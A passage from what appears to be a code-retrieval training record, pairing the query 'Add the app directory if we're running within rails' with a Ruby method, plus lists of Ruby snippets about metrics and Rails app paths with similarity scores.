metrics[:ruby_gc_heap_pages][type: :eden].set(gc_stats[:heap_eden_pages])\n metrics[:ruby_gc_heap_pages][type: :tomb].set(gc_stats[:heap_tomb_pages])\n metrics[:ruby_gc_heap_pages][type: :allocatable].set(gc_stats[:heap_allocatable_pages])\n\n gc_object_pool_stats = GC.stat_heap\n gc_object_pool_stats.each do |pool_id, pool_stats|\n metrics.set({\n ruby_gc_pool_heap_pages_allocated_total: pool_stats[:total_allocated_pages],\n ruby_gc_pool_heap_pages_freed_total: pool_stats[:total_freed_pages],\n ruby_gc_pool_force_major_gc_count: pool_stats[:force_major_gc_count],\n }, { slot_size: pool_stats[:slot_size] })\n\n metrics[:ruby_gc_pool_heap_pages][slot_size: pool_stats[:slot_size], type: :eden].set(pool_stats[:heap_eden_pages])\n metrics[:ruby_gc_pool_heap_pages][slot_size: pool_stats[:slot_size], type: :tomb].set(pool_stats[:heap_tomb_pages])\n metrics[:ruby_gc_pool_heap_pages][slot_size: pool_stats[:slot_size], type: :allocatable].set(pool_stats[:heap_allocatable_pages])\n\n metrics[:ruby_gc_pool_heap_slots][slot_size: pool_stats[:slot_size], type: :eden].set(pool_stats[:heap_eden_slots])\n metrics[:ruby_gc_pool_heap_slots][slot_size: pool_stats[:slot_size], type: :tomb].set(pool_stats[:heap_tomb_slots])\n end\n\n metrics.set({\n vips_memory_bytes: Vips.vips_tracked_get_mem,\n vips_allocations: Vips.vips_tracked_get_allocs,\n vips_files: Vips.vips_tracked_get_files,\n })\n\n if Jemalloc.enabled?\n Jemalloc.update_stats!\n metrics.set({\n jemalloc_thread_count: Jemalloc.thread_count,\n jemalloc_allocated_bytes: Jemalloc.allocated,\n jemalloc_active_bytes: Jemalloc.active,\n jemalloc_metadata_bytes: Jemalloc.metadata,\n jemalloc_resident_bytes: Jemalloc.resident,\n jemalloc_mapped_bytes: Jemalloc.mapped,\n })\n end\n\n metrics\n end",
"def collect(metrics)\n metrics\n end",
"def show\n render_meta ::Admin::Sendgrid::Metrics.cached_call\n end",
"def metrics?\n @metrics\n end",
"def stats\n end",
"def stats\n end",
"def usage_stats\n\t login_filter\n \n\t stats_page = @agent.get(\"/account\")\n\t \n\t stats = stats_page.at('#usage-percent').content.scan(/(\\d+(?:\\.\\d+)?)%\\ used\\ \\((\\d+(?:\\.\\d+)?)([MG])B of (\\d+(?:\\.\\d+)?)GB\\)/).collect{ |d|\n\t { :used => d[1].to_f * ((d[2] == \"G\") ? 1024 : 1),\n\t :total => d[3].to_f * 1024,\n\t :free => (d[3].to_f * 1024 - d[1].to_f * ((d[2] == \"G\") ? 1024 : 1)),\n\t :percent => Percentage.new(d[0].to_f/100)\n\t }\n\t }[0]\n\t \n\t regular_data = stats_page.at('span.bar-graph-legend.bar-graph-normal').next.content.scan(/\\((\\d+(?:\\.\\d+)?)([MG])B/)[0]\n\t stats[:regular_used] = regular_data[0].to_f * ((regular_data[1] == \"G\") ? 1024 : 1) unless regular_data.nil?\n\n\t shared_data = stats_page.at('span.bar-graph-legend.bar-graph-shared').next.content.scan(/\\((\\d+(?:\\.\\d+)?)([MG])B/)[0]\n\t stats[:shared_used] = shared_data[0].to_f * ((shared_data[1] == \"G\") ? 1024 : 1) unless shared_data.nil?\n\n return stats\n end",
"def print_internal_stats(final=false)\n #\n # Find and print any incompleted jobs\n #\n if final\n task_groups = Message.job_stats.incomplete_jobs.group_by { |jt| jt.message.task.name }\n task_groups.reject! { |k, v| config.lookup_task(k).producer? } # We don't track producers\n avg_defer_times = { }\n task_groups.each_pair do |k,v|\n logger.raw \"#{k}: incompleted jobs (#{v.length}):\"\n v.each do |jt|\n body = jt.message.opaque_obj.dereference\n str = format(\"[%1d:%5d] Sent -- Recevied %s - %s Eval Started -- Completed %s -- %s Thread: %s Msg Body: %s\\n\",\n proc_id, jt.id, jt.fmt(:sent_at), jt.fmt(:received_at), jt.fmt(:eval_started_at), jt.fmt(:eval_completed_at), jt.last_thread, body.to_s)\n logger.raw(str)\n end\n end\n end\n #\n # Compute Average Defer Time by Task\n #\n logger.raw(\"Average defer times by task\\n\\n\")\n avg_defer_times = Message.job_stats.average_defer_times\n lines = avg_defer_times.map { |k,v| format(\"%24s: %3.2f\", k, v) }\n logger.raw(lines.join(\"\\n\"))\n #\n # General global stats\n #\n sent = Message.sent_messages\n recv = Message.received_messages\n line = format(\"Messages sent:recv %5d:%5d Jobs:Queued:Results %5d:%5d:%5d\\n\",\n sent, recv, jobq.size, thpool.job_count, thpool.result_count)\n logger.raw(line)\n #\n # Thread Pool\n #\n logger.raw(\"Thead Stats\\n\")\n logger.raw(\" Thread Pool\\n\")\n lines = thpool.members.map { |th| \" #{th[:name]}: \\t #{th.status}\" }\n logger.raw(lines.join(\"\\n\"))\n #\n # Consumer threads\n #\n logger.raw(\" Consumer Threads\\n\")\n lines = consumers.map { |c| th = c.thread; \" #{th[:name]}: \\t #{th.status}\" }\n logger.raw(lines.join(\"\\n\"))\n #\n # Test for activity\n #\n activity = activity?(jobq.size, thpool.job_count, thpool.result_count)\n logger.raw(\"\\nactivity? reports #{activity ? 'SOME' : 'NO'} activity\\n\")\n end",
"def get_metric_statistics(options={})\n # Period (60 sec by default)\n period = (options[:period] && options[:period].to_i) || 60\n # Statistics ('Average' by default)\n statistics = Array(options[:statistics]).flatten\n statistics = statistics.blank? ? ['Average'] : statistics.map{|statistic| statistic.to_s.capitalize }\n # Times (5.min.ago up to now by default)\n start_time = options[:start_time] || (Time.now.utc - 5*60)\n start_time = start_time.utc.strftime(\"%Y-%m-%dT%H:%M:%S+00:00\") if start_time.is_a?(Time)\n end_time = options[:end_time] || Time.now.utc\n end_time = end_time.utc.strftime(\"%Y-%m-%dT%H:%M:%S+00:00\") if end_time.is_a?(Time)\n # Measure name\n measure_name = options[:measure_name] || 'CPUUtilization'\n # Dimentions (a hash, empty by default)\n dimentions = options[:dimentions] || {}\n #\n request_hash = { 'Period' => period,\n 'StartTime' => start_time,\n 'EndTime' => end_time,\n 'MeasureName' => measure_name }\n request_hash['Unit'] = options[:unit] if options[:unit]\n request_hash['CustomUnit'] = options[:custom_unit] if options[:custom_unit]\n request_hash['Namespace'] = options[:namespace] if options[:namespace]\n request_hash.merge!(amazonize_list('Statistics.member', statistics))\n # dimentions\n dim = []\n dimentions.each do |key, values|\n Array(values).each { |value| dim << [key, value] }\n end\n request_hash.merge!(amazonize_list(['Dimensions.member.?.Name', 'Dimensions.member.?.Value'], dim))\n #\n link = generate_request(\"GetMetricStatistics\", request_hash)\n request_info(link, GetMetricStatisticsParser.new(:logger => @logger))\n end",
"def display_stats\n draw \"Total hits: %d\" % @queue.total_hits\n draw \"Hits (past %isc): %d\" % [@queue.threshold, @queue.current_hits]\n draw \"High traffic alerts: %d\" % @queue.high_traffic_alerts\n draw_eol\n\n draw \"Total bytes: %s (Avg: ~%s)\" % [@queue.total_bytes.as_readable_bytes, @queue.avg_bytes.as_readable_bytes]\n draw \"Bytes (past %isc): %s \" % [@queue.threshold, @queue.current_bytes.as_readable_bytes]\n draw \"High traffic ended alerts: %s\" % @queue.end_of_high_traffic_alerts\n draw_eol\n end",
"def initialize\n System.stats.each { |s| instance_variable_set(\"@#{s}\", System.make_stat) }\n end",
"def stats\n stats = {\n :servers => {}, \n :results => 0, \n :taken_tasks => 0, \n :untaken_tasks => 0,\n :taken_master_tasks => 0,\n :taken_task_tasks => 0, \n :untaken_master_tasks => 0,\n :untaken_task_tasks => 0,\n :failed_tasks => 0,\n :untaken_future_tasks => 0,\n :time => Time.now.to_f,\n }\n\n stats[:untaken_future_tasks] = SkynetWorkerQueue.connection.select_value(%{\n SELECT count(id)\n FROM #{message_queue_table}\n WHERE expire_time > #{Time.now.to_i} and tasktype = 'task' and payload_type = 'master' \n })\n\n stat_rows = SkynetWorkerQueue.connection.select_all(%{\n SELECT tasktype, payload_type, iteration, count(id) as number_of_tasks, expire_time\n FROM #{message_queue_table} \n WHERE expire_time <= #{Time.now.to_i} \n GROUP BY tasktype, payload_type, iteration \n }) \n stat_rows.each do |row|\n if row[\"tasktype\"] == \"result\" or row[\"payload_type\"] == \"result\"\n stats[:results] += row[\"number_of_tasks\"].to_i\n elsif row[\"tasktype\"] == \"task\" \n type_of_tasks = nil\n if row[\"payload_type\"] == \"master\"\n type_of_tasks = :master_tasks\n elsif row[\"payload_type\"] == \"task\"\n type_of_tasks = :task_tasks\n end\n if row[\"iteration\"].to_i == 0\n stats[\"untaken_#{type_of_tasks}\".to_sym] += row[\"number_of_tasks\"].to_i \n stats[:untaken_tasks] += row[\"number_of_tasks\"].to_i\n elsif row[\"expire_time\"].to_i < Time.now.to_i\n stats[:failed_tasks] += row[\"number_of_tasks\"].to_i \n else\n stats[\"taken_#{type_of_tasks}\".to_sym] += row[\"number_of_tasks\"].to_i \n stats[:taken_tasks] += row[\"number_of_tasks\"].to_i\n end\n end\n end\n\n stats[:time] = Time.now.to_f - stats[:time]\n stats\n end",
"def print_rpc_stats(stats)\n out.puts stats.report(\"Task Stats\", false, @verbose)\n end",
"def stats\n stats_cache.stats\n end",
"def statistics\n @statistics ||= []\n end",
"def final_metrics\n Rails.logger.info(\"\\n \\n Priority sync finished at #{Time.zone.now} \\n \\n EPs attempted to sync: #{@run_log.size} \\n EPs successfully synced: #{@run_log.size - @error_log.size} \\n EPs errored: #{@error_log.size} \\n\")\n end",
"def has_metric(types)\n has_gauges(:metric, types, kind_class_name: 'analyzing/metric')\n end",
"def collect_metrics(*)\n raise NotImplementedError, 'Must implement collect_metrics'\n end",
"def cpu_usage_extended_information(opts)\n opts = check_params(opts,[:host_ids])\n super(opts)\n end",
"def metric(data={})\n if @@metrics_buffer.empty?\n @@metrics_buffer = [data]\n else\n @@metrics_buffer << data\n end\n end",
"def stats; end",
"def stats; end"
] |
[
"0.61399865",
"0.61227494",
"0.60120887",
"0.6007641",
"0.6007641",
"0.6007641",
"0.59117913",
"0.5882685",
"0.58672464",
"0.58121765",
"0.5812006",
"0.5781224",
"0.5742837",
"0.5701485",
"0.5663753",
"0.5661679",
"0.5651341",
"0.5615447",
"0.56116164",
"0.55966264",
"0.5557231",
"0.5534315",
"0.5530998",
"0.55216503",
"0.55196536",
"0.54820967",
"0.5394607",
"0.5391171",
"0.53766894",
"0.53228384",
"0.5298729",
"0.52969795",
"0.5296077",
"0.5283828",
"0.5282076",
"0.5278324",
"0.52700055",
"0.5269388",
"0.5255722",
"0.52531576",
"0.5246751",
"0.5241026",
"0.52275634",
"0.5227113",
"0.52221215",
"0.52221215",
"0.52221215",
"0.52221215",
"0.52221215",
"0.52221215",
"0.52221215",
"0.52221215",
"0.52221215",
"0.52221215",
"0.52221215",
"0.52221215",
"0.5221917",
"0.5220509",
"0.5220509",
"0.5220509",
"0.5220509",
"0.5220509",
"0.5220509",
"0.5220509",
"0.5220509",
"0.5220509",
"0.5220509",
"0.5220509",
"0.5220509",
"0.5213841",
"0.5213055",
"0.5199114",
"0.5194153",
"0.5191253",
"0.51885843",
"0.516782",
"0.516566",
"0.5154739",
"0.51487803",
"0.51436377",
"0.51417017",
"0.51380855",
"0.51344866",
"0.51344866",
"0.51325315",
"0.513159",
"0.5126331",
"0.51174253",
"0.5111958",
"0.5106964",
"0.50994635",
"0.50965035",
"0.50954825",
"0.5090211",
"0.50845903",
"0.5077569",
"0.50774246",
"0.50709814",
"0.507087",
"0.507087"
] |
0.6685454
|
0
|
Add the 'app' directory if we're running within rails.
|
def set_code_dirs
if rails?
@code_dirs = ['app', 'lib']
else
@code_dirs = ['lib']
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def gen_app\n unless File.exists?(app_dir)\n original_dir = FileUtils.pwd\n Dir.mkdir(root_dir) unless (!root_dir or File.exists?(root_dir))\n FileUtils.cd(root_dir) if root_dir\n `#{rails_str}`\n FileUtils.cd(original_dir)\n true\n end\n end",
"def add_app_folder\n directory 'templates/dry/app', \"#{name}/app\", recursive: true\n end",
"def mk_appdir(dir)\n path = Rails.root.join(dir)\n FileUtils.mkdir(path) unless File.directory?(path)\nend",
"def app_dir\n File.join(home_dir, \"#{sanitized_app_name}.#{name}\")\n end",
"def app_path\n \"#{root}/app\"\n end",
"def app_path\n \"#{root}/app\"\n end",
"def app_dir\n @app_dir ||= Chef::Resource::Directory.new(deploy_dir, run_context)\n end",
"def make_app_directories\n @shell.call \"mkdir -p #{self.directories.join(\" \")}\"\n end",
"def app_root\n if defined?(Rails)\n ::Rails.root\n else\n Dir.pwd\n end\n end",
"def app_path(path)\n File.expand_path(path, Dir.pwd)\n end",
"def application_path\n if environment.container?\n applications_path.join(application_name_as_snake_case)\n else\n Pathname.new('app')\n end\n end",
"def guess_app\n app = if ::File.exists?(::File.join(::File.dirname(@options[:wdir]), \"config/environment.rb\"))\n require 'config/environment'\n Rack::Builder.new do\n use Rails::Rack::Static\n run ActionController::Dispatcher.new\n end\n else\n raise Exception, \"No rackup file nore rails environement file found. Please supply one of them\"\n end\n end",
"def app_directories\n %w{authentication config controllers helpers lib mixins models routes state_managers stores templates views}\n end",
"def app_dir_for(type) self.app_paths[type].first end",
"def combined_app_root(include_gen_root=true)\n local_app_root = File.expand_path('../../../app', __FILE__)\n app_root = [@ctx_app_root ||= @context.app_root]\n app_root << @context.gen_root if include_gen_root\n app_root << local_app_root if local_app_root != @ctx_app_root\n app_root\n end",
"def app_path(path)\n return File.expand_path(File.join(@@config['appPath'], path))\n end",
"def app_path(path)\n File.expand_path(File.join(path), APP_ROOT)\nend",
"def deploy_application\n deploy(selfdir + \"app\")\n end",
"def passenger_rack_app?\n workdir.directory? &&\n workdir.join(\"config.ru\").file? &&\n workdir.join(\"tmp\").directory? &&\n workdir.join(\"public\").directory?\n end",
"def app_root; end",
"def app_root_for app, version\n\t\t\t\"#{Nacreon::Config.deploy_root}/#{app.name}/#{version.name}\"\n\t\tend",
"def android_app_dir\n File.join(File.dirname(__FILE__), '..', 'android', 'iscratcher-app')\nend",
"def get_app_dir(deploy_to)\n \"#{deploy_to}/current/\"\n end",
"def app_dir_pathname\n @app_dir_pathname ||= Pathname.new(app_name)\n end",
"def apps_path\n Gym.cache[:apps_path] ||= File.join(temporary_output_path, \"Apps\")\n end",
"def rails_app?\n File.exist?(\"bin/rails\")\n end",
"def require_apps\n Dir[\"#{Waxx[\"opts\"][:base]}/app/*\"].each{|f|\n next if f =~ /\\/app\\.rb$/ # Don't reinclude app.rb\n require f if f =~ /\\.rb$/ # Load files in the app directory \n if File.directory? f # Load top-level apps\n name = f.split(\"/\").last\n require \"#{f}/#{name}\" if File.exist? \"#{f}/#{name}.rb\"\n end\n }\n end",
"def app_library_dir\n base_dir = app_sandbox_dir\n if base_dir.nil?\n nil\n else\n File.join(base_dir, 'Library')\n end\n end",
"def make_app_structure where\n %w(releases shared/config shared/system).each do |dir|\n mkdir File.join(where, dir), :owner => DEFAULT_IDENTITY\n end\n end",
"def root\n find_single_directory || @app_dir\n end",
"def app_name\n Dir.pwd.split(\"/\").last.gsub(/\\./, \"_\")\n end",
"def default_application_paths\n paths = []\n\n # Followed by the standard includes.\n paths.concat %w(\n config\n lib\n lib/core_ext\n app\n app/models\n app/controllers\n app/converters\n app/helpers\n ).map { |dir| \"#{root_path}/#{dir}\" }.select { |dir| File.directory?(dir) }\n end",
"def install_app\n return false if File.exists?(app_dest)\n install_app!\n end",
"def add_root(root, combine = true)\n root = File.expand_path(root)\n\n Dir[\"#{root}/apps/*\"].each do |app|\n @app_names[File.basename(app)] = nil\n end\n\n Buildfile.evaluate(\"#{root}/Buildfile\") if File.exist?(\"#{root}/Buildfile\")\n @roots[root] = combine\n end",
"def device_applications_dir\n @device_app_dir ||= lambda do\n if sdk_gte_8?\n File.join(device_data_dir, 'Containers', 'Bundle', 'Application')\n else\n File.join(device_data_dir, 'Applications')\n end\n end.call\n end",
"def root_path\n defined?(Rails) && Rails.root ||\n defined?(Sinatra::Application) && Pathname.new(Sinatra::Application.root) ||\n defined?(ROOT_DIR) && Pathname.new(ROOT_DIR)\n end",
"def applications_path\n Pathname.new('apps')\n end",
"def rails_root\n File.expand_path('../../..', __dir__)\n end",
"def set_root_path!\n raise 'APP_ROOT is not set' unless defined?(::APP_ROOT)\n raise 'APP_ROOT is not a directory' unless File.directory?(::APP_ROOT)\n\n @root_path =\n # Pathname is incompatible with Windows, but Windows doesn't have\n # real symlinks so File.expand_path is safe.\n if RUBY_PLATFORM =~ /(:?mswin|mingw)/\n File.expand_path(::APP_ROOT)\n\n # Otherwise use Pathname#realpath which respects symlinks.\n else\n Pathname.new(::APP_ROOT).realpath.to_s\n end\n\n Object.const_set(:RELATIVE_APP_ROOT, ::APP_ROOT.dup) unless defined?(::RELATIVE_APP_ROOT)\n ::APP_ROOT.replace @root_path\n end",
"def application_root; end",
"def create_app_root\n puts \"Create app root named #{name}\"\n end",
"def get_app_dir(app_name,app_ver)\n app_dir = \"\"\n app_type = get_app_type(app_name)\n case app_type\n when /bin/\n app_dir = \"/usr/local/\"+app_type\n when /app|run/\n case app_name\n when /avast/\n app_dir = \"/Applications/\"+app_name+\"!.\"+app_type\n when /DiskMaker/\n app_dir = app_name+\" \"+app_ver.gsub(/0|\\./,\"\")+\".\"+app_type\n else\n app_dir = \"/Applications/\"+app_name+\".\"+app_type\n end\n when /util/\n app_dir = \"/Applications/Utilities/\"+app_name+\".\"+app_type\n when /prefPane/\n if app_name.match(/Logitech/)\n app_dir = \"/Library/PreferencePanes/\"+app_name+\".\"+app_type\n else\n app_dir = Dir.home+\"/Library/PreferencePanes/\"+app_name+\".\"+app_type\n end\n else\n app_dir = \"/Applications/\"+app_name+\".app\"\n end\n return app_dir\nend",
"def load_app\n require File.expand_path(File.join('config', 'application.rb'))\n @app ||= Rails.application\n end",
"def app_sandbox_dir\n app_install_dir = installed_app_bundle_dir\n return nil if app_install_dir.nil?\n if sdk_gte_8?\n app_sandbox_dir_sdk_gte_8\n else\n app_install_dir\n end\n end",
"def append_paths\n @append_paths ||= begin\n Wedge::Opal.append_path method(:assets_url).source_location.first.sub('/wedge.rb', '')\n Wedge::Opal.append_path \"#{Dir.pwd}/#{config.app_dir}\"\n\n true\n end\n end",
"def app_load_path(*paths)\n paths.each do |path|\n dir = app_path(path)\n $LOAD_PATH.unshift(dir) unless $LOAD_PATH.include?(dir)\n end\nend",
"def app\n defined?(@app) ? @app : build_app\n end",
"def rails_error\n if(!@@is_rails_dir)\n puts \"ERROR: #{Dir.pwd} does not appear to be a rails application directory\"\n exit(1)\n end\n end",
"def path_for(app: app_name)\n \"#{base_path}/#{app}\"\n end",
"def path_for(app: app_name)\n \"#{base_path}/#{app}\"\n end",
"def create_app_structure(root_path, arg_app_name, quiet = false, gem_path = nil)\n # create directory structure\n dirs = [\n Hailstorm.db_dir,\n Hailstorm.app_dir,\n Hailstorm.log_dir,\n Hailstorm.tmp_dir,\n Hailstorm.reports_dir,\n Hailstorm.config_dir,\n Hailstorm.vendor_dir,\n Hailstorm.script_dir\n ]\n\n dirs.each do |dir|\n FileUtils.mkpath(File.join(root_path, dir))\n puts \" created directory: #{File.join(arg_app_name, dir)}\" unless quiet\n end\n\n skeleton_path = File.join(Hailstorm.templates_path, 'skeleton')\n\n # Process Gemfile - add additional platform specific gems\n engine = ActionView::Base.new\n engine.assign(jruby_pageant: !File::ALT_SEPARATOR.nil?, # File::ALT_SEPARATOR is nil on non-windows\n gem_path: gem_path)\n File.open(File.join(root_path, 'Gemfile'), 'w') do |f|\n f.print(engine.render(file: File.join(skeleton_path, 'Gemfile')))\n end\n puts \" wrote #{File.join(arg_app_name, 'Gemfile')}\" unless quiet\n\n # Copy to script/hailstorm\n hailstorm_script = File.join(root_path, Hailstorm.script_dir, 'hailstorm')\n FileUtils.copy(File.join(skeleton_path, 'hailstorm'), hailstorm_script)\n FileUtils.chmod(0o775, hailstorm_script) # make it executable\n puts \" wrote #{File.join(arg_app_name, Hailstorm.script_dir, 'hailstorm')}\" unless quiet\n\n # Copy to config/environment.rb\n FileUtils.copy(File.join(skeleton_path, 'environment.rb'),\n File.join(root_path, Hailstorm.config_dir))\n puts \" wrote #{File.join(arg_app_name, Hailstorm.config_dir, 'environment.rb')}\" unless quiet\n\n # Copy to config/database.properties\n FileUtils.copy(File.join(skeleton_path, 'database.properties'),\n File.join(root_path, Hailstorm.config_dir))\n puts \" wrote #{File.join(arg_app_name, Hailstorm.config_dir, 'database.properties')}\" unless quiet\n\n # Process to config/boot.rb\n engine = ActionView::Base.new\n engine.assign(app_name: arg_app_name)\n File.open(File.join(root_path, Hailstorm.config_dir, 'boot.rb'), 'w') do |f|\n f.print(engine.render(file: File.join(skeleton_path, 'boot')))\n end\n puts \" wrote #{File.join(arg_app_name, Hailstorm.config_dir, 'boot.rb')}\" unless quiet\n end",
"def install_app!\n return false unless File.exists?(app_bak)\n\n puts \" application: #{app_dest.inspect}\"\n # FileUtils.cp_r(app_bak, app_dest)\n # the call to `FileUtils` was not copying the application icon, so I'm using\n # a call to `system` to properly copy application directories\n system(%Q/cp -r \"#{app_bak}\" \"#{app_dest}\"/)\n end",
"def initialize(app_dir = nil)\n # relative to the application's root dir\n @relative_location = CURRENT_DIR\n\n # set the default app's root directory according to the environment unless an application root is provided\n unless app_dir\n if !Heroku.heroku?\n app_dir = 'app'.freeze\n else\n app_dir = CURRENT_DIR\n end\n end\n\n # for recalculating the relative location of the execution dir to the base home directory\n # which may not necessarily be the same as the app root dir\n @relative_app_string = valid_relative_string(app_dir)\n\n update_relative_to_base\n end",
"def plugin_app_root\n \"#{plugin_test_root}/app_root\"\n end",
"def append_paths\n @append_paths ||= begin\n Wedge::Opal.append_path method(:assets_url).source_location.first.sub('/wedge.rb', '')\n Wedge::Opal.append_path \"#{Dir.pwd}/#{config.app_dir}\"\n end\n end",
"def controll_root\n root = '/'\n if defined?(\"::Rails\")\n if Rails.respond_to?(:root)\n root = ::Rails.root\n end\n end\n root = File.join(root, PATH)\n unless File.exist?(root)\n Dir.mkdir(root)\n end\n Dir.open(root)\n end",
"def insert_mounted_app(mounter)\n Padrino.mounted_apps.push(mounter) unless Padrino.mounted_apps.include?(mounter)\n end",
"def app_dir\n \"#{node[:splunk][:home]}/etc/apps/#{new_resource.app}\"\nend",
"def deploy_to\n \"/data/#{app_name.downcase}/app\"\n end",
"def exist?(*app_names)\n each_app(*app_names) do |server_app|\n server_app.root_path\n end\n end",
"def bootstrap_for_rails\n set_STREAMLINED_RAILS_ROOT\n add_require_line_to_environment_file\n end",
"def installed_app_bundle_dir\n sim_app_dir = device_applications_dir\n return nil if !File.exist?(sim_app_dir)\n\n app_bundle_dir = Dir.glob(\"#{sim_app_dir}/**/*.app\").find do |path|\n RunLoop::App.new(path).bundle_identifier == app.bundle_identifier\n end\n\n app_bundle_dir = ensure_complete_app_installation(app_bundle_dir)\n\n app_bundle_dir\n end",
"def app\n routes = Routes\n routes.set :public_folder, 'public'\n routes.set :environment, :test\n routes\n end",
"def app_documents_dir\n base_dir = app_sandbox_dir\n if base_dir.nil?\n nil\n else\n File.join(base_dir, 'Documents')\n end\n end",
"def locate_app_file\n app_const = app_constant\n\n candidates = []\n candidates << app_const.app_file if app_const.respond_to?(:app_file)\n candidates << Padrino.first_caller if File.identical?(Padrino.first_caller.to_s, Padrino.called_from.to_s)\n candidates << Padrino.mounted_root(name.downcase, \"app.rb\")\n simple_name = name.split(\"::\").last.downcase\n mod_name = name.split(\"::\")[0..-2].join(\"::\")\n Padrino.modules.each do |mod|\n if mod.name == mod_name\n candidates << mod.root(simple_name, \"app.rb\")\n end\n end\n candidates << Padrino.root(\"app\", \"app.rb\")\n candidates.find { |candidate| File.exist?(candidate) }\n end",
"def application?\n gem_dir\n end",
"def application?\n gem_dir\n end",
"def framework_root() @framework_root ||= File.dirname(__FILE__) end",
"def framework_root\n @framework_root ||= File.dirname(__FILE__)\n end",
"def apps\n apps_found = []\n server_xml = Liberty.server_xml(@app_dir)\n if Liberty.web_inf(@app_dir)\n apps_found = [@app_dir]\n elsif server_xml\n apps_found = Dir.glob(File.expand_path(File.join(server_xml, '..', '**', '*.war')))\n Liberty.expand_apps(apps_found)\n end\n apps_found\n end",
"def setup_example_app(options={})\n $example_app_counter ||= 0\n $example_app_counter += 1\n\n FileUtils.mkdir_p(tmp_dir)\n write_app_file(options)\n $LOADED_FEATURES.delete app_file_path\n require app_file_path\n self.app = app_const\n app_const.enable :reloader\n end",
"def app_uri\n @app_uri ||=\n @rack_context.getInitParameter('app.root') ||\n @rack_context.getInitParameter('rails.root') ||\n '/WEB-INF'\n end",
"def root_dir\n is_rails? ? Rails.root.to_s : Dir.pwd.to_s\n end",
"def calculate_paths\n raise ApplicationSetupError.new(\"Please define 'app_file' option for #{self.name} app!\") unless self.app_file\n set :views, find_view_path if find_view_path\n set :images_path, File.join(self.public, \"/images\") unless self.respond_to?(:images_path)\n end",
"def do_not_depend_on_this\n link_to(container_libs_directory.children, tomcat_lib) if container_libs_directory.exist?\n link_to(extra_applications_directory.children, webapps) if extra_applications_directory.exist?\n end",
"def inside_dummy_app\n Bundler.with_clean_env do\n FileUtils.cd(dummy_app_path) do\n yield\n end\n end\n end",
"def rails?\n File.directory? dest + '/vendor'\n end",
"def append_path(current = Dir.pwd, **options)\n\t\t\tbake_path = File.join(current, \"bake\")\n\t\t\t\n\t\t\tif File.directory?(bake_path)\n\t\t\t\treturn insert(bake_path, **options)\n\t\t\tend\n\t\t\t\n\t\t\treturn false\n\t\tend",
"def install(app_path)\n runcmd 'install', app_path\n end",
"def application?\n (filtered_file =~ /^\\[PROJECT_ROOT\\]/i) && !(filtered_file =~ /^\\[PROJECT_ROOT\\]\\/vendor/i)\n end",
"def start_app\nend",
"def set_code_dirs\n @directories[\"code_dirs\"] = %w(app lib).select { |dir| Dir.exist?(dir) }\n end",
"def outside_configured_directory?(dir); end",
"def root_dir\n File.join(self.runner.path, 'app', 'views', 'pages')\n end",
"def runtime_dir\n File.join(@full_path, RUNTIME_DIR)\n end",
"def install_app(path, **options)\n options = options.transform_keys { |key| key.to_s.gsub(/_./) { |v| v[1].upcase } } unless options.nil?\n @bridge.install_app(path, options)\n end",
"def map_subdir?\n # Don't map subdir when using Passenger as passenger takes care of that.\n !defined?(::PhusionPassenger)\nend",
"def build_app(options = {})\n @prev_rails_env = ENV[\"RAILS_ENV\"]\n ENV[\"RAILS_ENV\"] = \"development\"\n ENV[\"SECRET_KEY_BASE\"] ||= SecureRandom.hex(16)\n\n FileUtils.rm_rf(app_path)\n FileUtils.cp_r(app_template_path, app_path)\n\n # Delete the initializers unless requested\n unless options[:initializers]\n Dir[\"#{app_path}/config/initializers/**/*.rb\"].each do |initializer|\n File.delete(initializer)\n end\n end\n\n add_to_config <<-RUBY\n config.eager_load = false\n config.session_store :cookie_store, key: \"_myapp_session\"\n config.active_support.deprecation = :log\n config.active_support.test_order = :random\n config.action_controller.allow_forgery_protection = false\n config.log_level = :info\n RUBY\n end",
"def application_path\n fetch_path(DevTools.app_root)\n end",
"def combined_class_dir(klass)\n const_to_path(klass, @app_root ||= combined_app_root_glob)\n end",
"def inject_into_load_path\n \n # Add ALL paths under the engine root to the load path\n %w(app/controllers \n app/helpers \n app/models\n components\n lib).collect { |dir|\n File.join(root, dir)\n }.select { |dir| File.directory?(dir) }.each do |path|\n insert_into_load_path(path) \n end\n end",
"def files\n Dir[root_path(\"app\", \"**\", \"*.rb\")] + [@app_class.app_file]\n end",
"def app_config_path\n Pathname.new('.').join('config')\n end",
"def install_app(name)\n app = AppStore.find_app(name)\n @apps << app unless @apps.include?(app)\n end",
"def to_app\n files = Ramaze::Files.new(*public_roots)\n app = Current.new(Route.new(url_map), Rewrite.new(url_map))\n Rack::Cascade.new([files, app])\n end",
"def install_dir(plugin_dirs = [], &filter)\n\t Installer.copy_tree(File.join(Roby::ROBY_ROOT_DIR, 'app'), app.app_dir, &filter)\n\t plugin_dirs.each do |dir|\n\t\tplugin_app_dir = File.join(dir, 'app')\n\t\tnext unless File.directory?(plugin_app_dir)\n\t\tInstaller.copy_tree(plugin_app_dir, app.app_dir, &filter)\n\t end\n\tend",
"def get_apk_dir\r\n url_dir = \"/apks/#{Time.now.strftime('%Y%m%d')}\"\r\n dir = \"public\" + url_dir\r\n Dir.mkdir(dir) if Dir[dir].size == 0\r\n url_dir\r\n end",
"def app\n Rails.application\n end",
"def include_www\n puts \"Copying your web app directory\"\n FileUtils.mkdir_p File.join(@output_dir, \"assets\", \"www\")\n FileUtils.cp_r File.join(@www, \".\"), File.join(@output_dir, \"assets\", \"www\")\n end",
"def boot_rails\n log \"* Booting rails app\"\n begin\n return config.app\n rescue Exception => e\n error [\"Unable to load rails app!\", e, e.backtrace].flatten.join(\"\\n\")\n exit 1\n end\n end"
] |
[
"0.75601536",
"0.7452783",
"0.7274925",
"0.7171399",
"0.6955285",
"0.6955285",
"0.6902182",
"0.6698023",
"0.6697075",
"0.66869164",
"0.66184527",
"0.6546597",
"0.6530001",
"0.64931935",
"0.6473574",
"0.6407198",
"0.6395104",
"0.6386372",
"0.6290653",
"0.6280043",
"0.6266718",
"0.6197425",
"0.6190927",
"0.61870223",
"0.6167207",
"0.6150232",
"0.61455464",
"0.6134987",
"0.6117768",
"0.61098886",
"0.6095838",
"0.6085844",
"0.6055058",
"0.6046279",
"0.601079",
"0.59865326",
"0.5969244",
"0.5962013",
"0.59483397",
"0.5941596",
"0.5893665",
"0.5884898",
"0.5856037",
"0.5853863",
"0.58283186",
"0.5816953",
"0.58080065",
"0.5805922",
"0.5789139",
"0.5789139",
"0.57765317",
"0.5770611",
"0.5768358",
"0.57650536",
"0.57291895",
"0.5728758",
"0.57209563",
"0.5720809",
"0.570815",
